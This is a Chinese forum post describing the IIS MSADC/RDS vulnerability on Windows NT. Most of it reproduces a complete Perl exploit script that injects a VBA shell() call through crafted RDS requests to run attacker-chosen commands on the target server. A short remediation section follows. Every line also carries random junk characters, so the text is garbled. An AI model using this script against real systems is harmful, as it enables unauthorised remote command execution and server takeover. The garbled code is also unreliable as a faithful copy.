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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) L%N|8P[  
72Ft?;R  
涉及程序: Oi=kL{DG:s  
Microsoft NT server VBsS1!g  
LL.YkYu  
描述: 347p2sK>  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 #uFP eu:  
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详细: @-)?2CH[8  
如果你没有时间读详细内容的话,就删除: llI`"a  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ,GGr@})  
有关的安全问题就没有了。 \u2p]K>  
tE- s/  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 n|3ENN  
)CEfG  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ~x`OCii  
关于利用ODBC远程漏洞的描述,请参看: !SEg4z  
vJ }^ p }  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ;aWH`^{i  
.J'}qkz~  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 h_Q9 c  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 0I& !a$:  
}"%tlU!}  
这里不再论述。 d\D.l^  
^q7 fN0"6  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: B&`#`]  
dz&8$(f,  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset x.~Z9j  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! z4{ H=  
'$;S?6$eW  
5c! ~WckbJ  
#将下面这段保存为txt文件,然后: "perl -x 文件名" -T`rk~A9A  
vG69z&  
#!perl mKQ !@$*  
# > QDmSy*&  
# MSADC/RDS 'usage' (aka exploit) script U,~\}$<I  
# `(.K|l}  
# by rain.forest.puppy PiP\T.XANa  
# JZ]4?_l  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me tJ i#bg%  
# beta test and find errors! ( n|PLi  
(%YFcE)SRS  
use Socket; use Getopt::Std; xP "7B9B  
getopts("e:vd:h:XR", \%args); ab: yH ')  
2 D>WIOX  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; uL\ B[<:  
r|:i: ii  
if (!defined $args{h} && !defined $args{R}) { V31<~&O~%  
print qq~ D:/^TEib  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 00[Uk'Q*5  
-h <host> = host you want to scan (ip or domain) n0:'h}^  
-d <seconds> = delay between calls, default 1 second y}FTLX $  
-X = dump Index Server path table, if available m?V4r#t  
-v = verbose MOKg[ j  
-e = external dictionary file for step 5 0V@u]  
u`O xY  
Or a -R will resume a command session P=OHiG\z  
q okgu$2  
~; exit;} O=?WI  
J 6D?$  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 67wY_\m9I  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ,|<2wn#q  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 2Xys;Dwx  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); uckag/tv  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} NiQ`,Q$B  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } P4-`<i]!S  
q;3.pRw(  
if (!defined $args{R}){ $ret = &has_msadc; & gnE"  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 0,1:l3iu1M  
N.vt5WP  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" AK]{^Hvz  
. "cmd /c "; ) wtVFG  
$in=<STDIN>; chomp $in; 6sJN@dFA  
$command="cmd /c " . $in ; FctqE/>}I  
J\^ZRu_K  
if (defined $args{R}) {&load; exit;} meA=lg?  
,]+P#eXgE  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; L}T:Y).  
&try_btcustmr; f 0A0uU8y  
-,C">T%\  
print "\nStep 2: Trying to make our own DSN..."; D6=Z%h\*  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; q\cH+n)C  
s<Px au+A  
print "\nStep 3: Trying known DSNs..."; }OZp[V  
&known_dsn; 9~2}hXm;  
(A|Gb2X  
print "\nStep 4: Trying known .mdbs..."; ) jv]Oz  
&known_mdb; TPH`{  
r BQFC 4L  
if (defined $args{e}){ 7=(r k  
print "\nStep 5: Trying dictionary of DSN names..."; *$~H=4t  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } N}HQvlLkF9  
e[.c^Hw  
print "Sorry Charley...maybe next time?\n"; /Uth#s:  
exit; Ab ,n^  
{/#^v?,  
############################################################################## 9JYrP6I!_  
YNyaz\L  
sub sendraw { # ripped and modded from whisker ZG:#r\a  
sleep($delay); # it's a DoS on the server! At least on mine... r2M Iw  
my ($pstr)=@_; (&HAjB  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || (L}  
die("Socket problems\n"); rH Et]Xa  
if(connect(S,pack "SnA4x8",2,80,$target)){ S{' /=Px+  
select(S); $|=1; ErIAS6HS'  
print $pstr; my @in=<S>; yr?*{;  
select(STDOUT); close(S); a+sHW<QeS  
return @in; "Ah (EZAR  
} else { die("Can't connect...\n"); }} J/X{ Y2f  
bL soKe  
############################################################################## $fES06%  
F9@,T8I  
sub make_header { # make the HTTP request 2[6>h)  
my $msadc=<<EOT (7/fsfsF  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 exT O#*o  
User-Agent: ACTIVEDATA G|MjKe4}  
Host: $ip &~gqEl6RF  
Content-Length: $clen Z^5j.d{e$  
Connection: Keep-Alive HxCq6Y_m<  
0goKiPx  
ADCClientVersion:01.06 "h?;)Ye  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 {C3AxK0  
3 r4QB  
--!ADM!ROX!YOUR!WORLD! k]?M^jrm  
Content-Type: application/x-varg f'P}]_3(  
Content-Length: $reqlen =2!AK[KxX  
xEdCGwgp#  
EOT `7_=2C  
; $msadc=~s/\n/\r\n/g; swNJ\m  
return $msadc;} |:yQOq|  
<{ !^  
############################################################################## ] AkHNgW  
3 d $  
sub make_req { # make the RDS request _%^t[4)q  
my ($switch, $p1, $p2)=@_; :&: IZkO  
my $req=""; my $t1, $t2, $query, $dsn; ;]YQ WK  
Pl^-]~  
if ($switch==1){ # this is the btcustmr.mdb query 0s)B~  
$query="Select * from Customers where City=" . make_shell(); tKg\qbY&  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . BMPLL2I  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} cfI5KLG~#  
U U!M/QJ  
elsif ($switch==2){ # this is general make table query vQf'lEFk  
$query="create table AZZ (B int, C varchar(10))"; G tI]6t  
$dsn="$p1";} j$r.&,m  
~um+r],@@  
elsif ($switch==3){ # this is general exploit table query Fq3[/'M^  
$query="select * from AZZ where C=" . make_shell(); wUkLe-n,dE  
$dsn="$p1";} Bfhw0v]Z  
GBOz,_pw  
elsif ($switch==4){ # attempt to hork file info from index server Y^5X>  
$query="select path from scope()"; obWBX'  
$dsn="Provider=MSIDXS;";} \%\b* OO  
4 4%jz-m  
elsif ($switch==5){ # bad query &X0/7)*"v  
$query="select"; 04-phEA2Q  
$dsn="$p1";} Cr0 \7  
q@ !p  
$t1= make_unicode($query); VesW7m*z  
$t2= make_unicode($dsn); R:=C  
$req = "\x02\x00\x03\x00";  FkJa+ZA  
$req.= "\x08\x00" . pack ("S1", length($t1)); K0B J  
$req.= "\x00\x00" . $t1 ; N}{CL(xi  
$req.= "\x08\x00" . pack ("S1", length($t2)); s '%KKC  
$req.= "\x00\x00" . $t2 ; 47I5Y5  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; z{T2! w~[  
return $req;} G"!YV#"~  
7s:`]V%  
############################################################################## f:iK5g  
Ht^MY  
sub make_shell { # this makes the shell() statement W}B 4^l  
return "'|shell(\"$command\")|'";} ]:TX> X!  
),`MAevp  
############################################################################## x h[4d  
i(.c<e{v~  
sub make_unicode { # quick little function to convert to unicode 7O5`&Z'-  
my ($in)=@_; my $out; ( 8+_~_  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 1lRqjnzve&  
return $out;} ^9T6Ix{=  
EFeGxM  
############################################################################## '>FJk`iI  
H8 yc<  
sub rdo_success { # checks for RDO return success (this is kludge) X;_0"g  
my (@in) = @_; my $base=content_start(@in); c)Ft#vzg&e  
if($in[$base]=~/multipart\/mixed/){ kf~71G+  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} js )G   
return 0;} K]dqK'  
9R.IYnq  
############################################################################## (?-5p;  
AfvTStwr  
sub make_dsn { # this makes a DSN for us i gzISYC_  
my @drives=("c","d","e","f"); ]*a)'k_@[  
print "\nMaking DSN: "; sQW$P9s c  
foreach $drive (@drives) { =!NYvwg6;o  
print "$drive: "; @'[w7HsJ  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . QI>yi&t  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" e2w$":6>  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); #r 1 $=GY  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; |E @Gsw  
return 0 if $2 eq "404"; # not found/doesn't exist JA7HO |  
if($2 eq "200") { uF5d ]{Qt  
foreach $line (@results) { 2^Gl;3  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} Ne/jvWWN  
} return 0;} /:dVW" A|  
:K{`0U&l5  
############################################################################## xXO& -v{  
8 g'9( )&  
sub verify_exists { xD#PM |I  
my ($page)=@_; lD2>`s 5  
my @results=sendraw("GET $page HTTP/1.0\n\n"); %kD WUJZ  
return $results[0];} E*Vx^k$  
oMda)5 &  
############################################################################## g92M\5 x9  
`9Ngax=_  
sub try_btcustmr { mm%w0dOb"  
my @drives=("c","d","e","f"); ZTd_EY0q  
my @dirs=("winnt","winnt35","winnt351","win","windows"); pfg"6P  
4s*P5w_'/  
foreach $dir (@dirs) { Mr:*l`b_  
print "$dir -> "; # fun status so you can see progress "Gcr1$xG8!  
foreach $drive (@drives) { i2b\` 805  
print "$drive: "; # ditto GSV,  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; t&SJ!>7_c  
$reqlenlen=length( "$reqlen" ); 7d/wT+f  
$clen= 206 + $reqlenlen + $reqlen; G/(oQA  
[K13Jy+  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); EH3jzE3N  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} +`f gn9p  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} .}ZX~k&P  
R#tz"T@  
############################################################################## WlP@Tm5g/  
?t)y/@eG  
sub odbc_error { x=1G|<z%  
my (@in)=@_; my $base; =B1t ?( "  
my $base = content_start(@in); P,h@F+OZN  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this _ %&"4bm.  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 05*_h0}  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 'DsfKR^ s  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; #Vn=(U4}!_  
return $in[$base+4].$in[$base+5].$in[$base+6];} w;H  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; wO} 3i6  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . cv:nlq)  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 3~I<f ^K4  
^'QcP5Fv  
############################################################################## y5a^xRDw  
g ^)>-$=  
sub verbose { w,8 M  
my ($in)=@_; U'-MMwE]  
return if !$verbose; ThWZ>hyJ  
print STDOUT "\n$in\n";} ?O4Dhu  
DJ} xD&G  
############################################################################## oBqP^uT>a|  
Fh v)  
sub save { :;0?;dpO  
my ($p1, $p2, $p3, $p4)=@_; Vu`dEv L?  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; tP!sOvQ:  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; XP2=x_"y  
close OUT;} (]1le|+  
3Un/-4uL  
############################################################################## Si]Z`_  
4)Pt]#Ti  
sub load { (/"T=`3t  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; .[cT3l/t  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); +*0THol-  
@p=<IN>; close(IN); |&n dQ(!l  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); =q xcM+OX1  
$target= inet_aton($ip) || die("inet_aton problems"); e7#=F6  
print "Resuming to $ip ..."; ~ezCE4^&  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 8GlH)J+kq  
if($p[1]==1) { Rz=]KeZu  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; .v1rrH?  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; Qg 6m  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); A9l^S|r  
if (rdo_success(@results)){print "Success!\n";} 0 SKt8pL`  
else { print "failed\n"; verbose(odbc_error(@results));}} ;t?pyFT2Z  
elsif ($p[1]==3){ w5n>hz_5  
if(run_query("$p[3]")){ nj7Ri=lyS  
print "Success!\n";} else { print "failed\n"; }} k})9(Sy~  
elsif ($p[1]==4){ 6\0GVM\  
if(run_query($drvst . "$p[3]")){ $Uewv +  
print "Success!\n"; } else { print "failed\n"; }} fE7WLV2I>  
exit;} 8-?n<h%8E  
m(OBk;S~   
############################################################################## ? !~au0  
=:"@YD^a4  
sub create_table { /-|xxy  
my ($in)=@_; $ @1&G~x  
$reqlen=length( make_req(2,$in,"") ) - 28; 1~7y]d?%  
$reqlenlen=length( "$reqlen" ); G$@X>)2N8  
$clen= 206 + $reqlenlen + $reqlen;  iI ^{OD  
my @results=sendraw(make_header() . make_req(2,$in,"")); |=%$7b\C  
return 1 if rdo_success(@results); e:7aVOm  
my $temp= odbc_error(@results); verbose($temp); ;'o>6I7Ph  
return 1 if $temp=~/Table 'AZZ' already exists/; 3"L$*toRA  
return 0;} Be]o2N;J  
f4tia .  
##############################################################################  %;W8;  
m9e$ZZG$  
sub known_dsn { wkm SIN:  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 9h0|^ttF  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", > %Y#(_~a  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", q0c)pxD%`  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); i;dr(c/ft  
in+`zfUJ9  
foreach $dSn (@dsns) { {?L}qV  
print "."; _v $mGZpGY  
next if (!is_access("DSN=$dSn")); W\KZFrV@  
if(create_table("DSN=$dSn")){ 'M'LJ.,"/  
print "$dSn successful\n"; wy -!1wd  
if(run_query("DSN=$dSn")){ "V:UQ<a\  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { *M`[YG19!e  
print "Something's borked. Use verbose next time\n";}}} print "\n";} (Q&z1XK3  
/?6y2t  
############################################################################## O-'T*M>  
A|a\pL`@  
sub is_access { >=Rb:#UM  
my ($in)=@_; jgMWjM6.  
$reqlen=length( make_req(5,$in,"") ) - 28; ]g)%yuox9F  
$reqlenlen=length( "$reqlen" ); ovfw_  
$clen= 206 + $reqlenlen + $reqlen; gTQ6B,`/8  
my @results=sendraw(make_header() . make_req(5,$in,"")); QB@*/Le   
my $temp= odbc_error(@results); ome>Jbdhe  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); *l9Y]hinq  
return 0;} d*AV(g#B  
:iWV:0)P  
############################################################################## .-34 g5  
,`Mlo  
sub run_query { qzmZ/z96  
my ($in)=@_; #tfJ?w`  
$reqlen=length( make_req(3,$in,"") ) - 28; &a(w0<  
$reqlenlen=length( "$reqlen" ); Anm5Cvt;i  
$clen= 206 + $reqlenlen + $reqlen; Ux<h` s  
my @results=sendraw(make_header() . make_req(3,$in,"")); ~g,QwaA[  
return 1 if rdo_success(@results); T(}da**X  
my $temp= odbc_error(@results); verbose($temp); $fn^i.  
return 0;} LpiLk| 2i  
AP~!YwLW  
############################################################################## \C6m.%%={R  
(J;?eeP  
sub known_mdb { q_K1L  
my @drives=("c","d","e","f","g");  _HL3XT  
my @dirs=("winnt","winnt35","winnt351","win","windows"); [&4y@  
my $dir, $drive, $mdb; TDseWdA  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; a3)#tt=rA  
ZuhT \l  
# this is sparse, because I don't know of many 97 g-*K  
my @sysmdbs=( "\\catroot\\icatalog.mdb", Q:LuRE!t  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", Umd!j,  
"\\system32\\certmdb.mdb", *w6N&  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% PDsLJ|:yL  
N1$P6ZF  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", hPH7(f|c{g  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ;K_B,@:'  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 3HiW1*5W  
"\\cfusion\\cfapps\\security\\realm_.mdb", lt]U?VZ   
"\\cfusion\\cfapps\\security\\data\\realm.mdb", S`^W#,rj  
"\\cfusion\\database\\cfexamples.mdb", 9c6V&b  
"\\cfusion\\database\\cfsnippets.mdb", u`~{:V  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", GhT7:_r~  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", /6fPC;l  
"\\cfusion\\brighttiger\\database\\cleam.mdb", G@'0vYb#  
"\\cfusion\\database\\smpolicy.mdb", 4~/6d9f  
"\\cfusion\\database\cypress.mdb", -I*A  `M  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", PLyu1{1" z  
"\\website\\cgi-win\\dbsample.mdb", 0T5>i 0/  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", :Ry 24X  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" %qHT!aP  
); #these are just GwV FD%  
foreach $drive (@drives) { !< )_ F  
foreach $dir (@dirs){ S ] &->5"  
foreach $mdb (@sysmdbs) { +OmSR*fA0  
print "."; ig,|3(  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ LKZI@i)  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; `iI"rlc  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ _7<U[63  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 2uTa}{/%  
} else { print "Something's borked. Use verbose next time\n"; }}}}} "10VN*)J}  
w~&]gyf  
foreach $drive (@drives) { }M9al@"  
foreach $mdb (@mdbs) { ZL>V9UWN  
print "."; >KPJ74R  
if(create_table($drv . $drive . $dir . $mdb)){ 9|`@czw  
print "\n" . $drive . $dir . $mdb . " successful\n"; <j#EyGAV  
if(run_query($drv . $drive . $dir . $mdb)){ LA+MX 0*  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; $^!w`>0C  
} else { print "Something's borked. Use verbose next time\n"; }}}} cn0Fz"d  
} jJvNN -^  
v\eBL&WK  
############################################################################## a\w | tf  
H^g<`XEgw  
sub hork_idx { s*f.` A*)  
print "\nAttempting to dump Index Server tables...\n"; 12a #]E  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; #V 6 -*  
$reqlen=length( make_req(4,"","") ) - 28; \_E.%K  
$reqlenlen=length( "$reqlen" ); NjxW A&[ng  
$clen= 206 + $reqlenlen + $reqlen; ^4[[+r  
my @results=sendraw2(make_header() . make_req(4,"","")); u^9c`  
if (rdo_success(@results)){ DE ws+y-*  
my $max=@results; my $c; my %d; ,LZ:y1z'V-  
for($c=19; $c<$max; $c++){ \sd"iMEi  
$results[$c]=~s/\x00//g; bEKLameKv  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 3Y-v1.^j  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; }hYE6~pr  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; M<unQ1+wh  
$d{"$1$2"}="";} JWL J<z  
foreach $c (keys %d){ print "$c\n"; } gxM8IQ  
} else {print "Index server doesn't seem to be installed.\n"; }} r<v%Zp  
DcA'{21  
############################################################################## BT3O_X`u  
T6$<o\g'  
sub dsn_dict { cloI 6%5r  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); %#9~V  
while(<IN>){ u2]g1XjeG  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; #:|?t&On  
next if (!is_access("DSN=$dSn")); _vH!0@QFU  
if(create_table("DSN=$dSn")){ :$aW@?zAY  
print "$dSn successful\n"; S$52KOo  
if(run_query("DSN=$dSn")){ H>f{3S-%  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Xb* _LZAU  
print "Something's borked. Use verbose next time\n";}}} y Xx62J  
print "\n"; close(IN);} 2hJ3m+N^  
AFTed?(  
############################################################################## =bWq 3aP)P  
e0HP~&BRs  
sub sendraw2 { # ripped and modded from whisker %}X MhWn{  
sleep($delay); # it's a DoS on the server! At least on mine... k+$4?/A  
my ($pstr)=@_; - >I{ :#  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || I%919  
die("Socket problems\n"); *^6xt7  
if(connect(S,pack "SnA4x8",2,80,$target)){ *hs<Ez.cC  
print "Connected. Getting data"; v6?\65w,|  
open(OUT,">raw.out"); my @in; RCYbRR4y  
select(S); $|=1; print $pstr; 8$UZL  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} J.2]km  
close(OUT); select(STDOUT); close(S); return @in; Z(mn U;9{v  
} else { die("Can't connect...\n"); }} YBIe'(p  
' u};z:t  
############################################################################## ?]D+H%3[$i  
o%PoSZZ  
sub content_start { # this will take in the server headers YwWTv  
my (@in)=@_; my $c; >5Oy^u6Ly  
for ($c=1;$c<500;$c++) { h<ctW>6v  
if($in[$c] =~/^\x0d\x0a/){ 8M+F!1-#  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } xKST-:c+  
else { return $c+1; }}} zl 0^EltiU  
return -1;} # it should never get here actually ( L\G!pP.  
1r& ?J.z25  
############################################################################## OCO,-(  
Y~hd<8 ~  
sub funky { 9c}]:3#XO  
my (@in)=@_; my $error=odbc_error(@in); ?>jArzI  
if($error=~/ADO could not find the specified provider/){ H0 n@kKr  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; JS?l?~  
exit;} .N5R?fmD  
if($error=~/A Handler is required/){ s k6|_  
print "\nServer has custom handler filters (they most likely are patched)\n"; *2 $m>N  
exit;} #'Y6UGJ\n  
if($error=~/specified Handler has denied Access/){ 2mU-LQ1WN  
print "\nServer has custom handler filters (they most likely are patched)\n"; rI66frbj  
exit;}} {R!TUQ5  
k,iV$,[TF  
##############################################################################  Ox*T:5  
k>;r9^D  
sub has_msadc { t>GLZzO  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); %802H%+  
my $base=content_start(@results); YZ:'8<  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); |DPpp/  
return 0;} )7"DR+;:  
&R FM d=  
######################## 5YG@[ic  
<T.#A8c  
j X!ftm2  
解决方案: 7U )qC}(  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll xiOrk  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 ? ]:EmP  
awSS..g}L  
拿出来充数 哈哈
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